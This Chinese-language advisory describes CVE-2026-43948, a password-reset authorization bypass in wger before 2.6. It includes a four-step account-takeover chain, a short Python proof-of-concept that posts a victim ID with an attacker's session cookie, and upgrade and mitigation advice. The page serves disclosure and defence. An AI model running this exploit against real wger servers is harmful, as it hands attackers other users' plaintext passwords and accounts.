IPBUF安全漏洞报告
English
CVE-2026-43948 CVSS 9.9 严重

CVE-2026-43948 wger权限提升漏洞

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2026-43948
漏洞类型
权限提升
CVSS评分
9.9 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
wger

相关标签

权限提升wger逻辑漏洞账户接管访问控制绕过

漏洞概述

wger是一款开源健身管理软件。在2.6版本之前,系统在重置密码视图的授权检查中存在逻辑错误。当攻击者和受害者均未分配健身房时,利用Python对象比较特性`None != None`为False的特性,攻击者可静默绕过权限验证,重置受害者密码并获取明文密码,导致账户被完全接管。

技术细节

该漏洞源于wger在`reset_user_password`和`gym_permissions_user_edit`视图中使用了错误的权限校验逻辑。代码使用Python的`!=`运算符进行对象比较。当攻击者和受害者都未分配健身房(即`gym=None`)时,比较表达式`None != None`的结果为`False`。原本意图是“如果不相等则拒绝”,但在这种情况下,逻辑判断失效,导致权限守卫被静默绕过。只要攻击者拥有`gym.manage_gym`权限且自身`gym=None`,即可针对任何`gym=None`的用户发起密码重置攻击。系统会将新生成的明文密码直接返回在HTML响应体中,攻击者利用该密码即可登录受害者账户,且受害者原密码失效,实现完全的账户接管。

攻击链分析

STEP 1
侦察
攻击者确认自己拥有gym.manage_gym权限且gym=None,并寻找同样gym=None的目标用户。
STEP 2
利用漏洞
攻击者向reset_user_password接口发送请求,利用Python逻辑缺陷`None != None`为False绕过权限检查。
STEP 3
获取凭证
服务器重置目标用户密码,并在响应中返回明文密码,攻击者直接读取该密码。
STEP 4
账户接管
攻击者使用获取的新密码登录受害者账户,受害者原密码失效,被永久锁定。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "https://example.com/reset_user_password" victim_user_id = 42 # ID of the victim with gym=None # Attacker's session (User must have gym.manage_gym permission and gym=None) attacker_session = { "sessionid": "attacker_cookie_value_here" } # Exploit payload payload = { "user_id": victim_user_id } # Send malicious request to reset password # The vulnerability logic: None != None evaluates to False, bypassing the check response = requests.post(target_url, cookies=attacker_session, data=payload) if response.status_code == 200: print("[+] Exploit successful!") # The new plaintext password is returned in the HTML response body print("[+] Response snippet:", response.text[:500]) else: print("[-] Exploit failed.")

影响范围

wger < 2.6

防御指南

临时缓解措施
建议用户尽快升级至wger 2.6或更高版本。若无法立即升级,应确保所有用户(特别是具有管理权限的用户)必须被分配至特定的健身房,避免存在`gym=None`的用户,从而阻断该逻辑漏洞的触发条件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表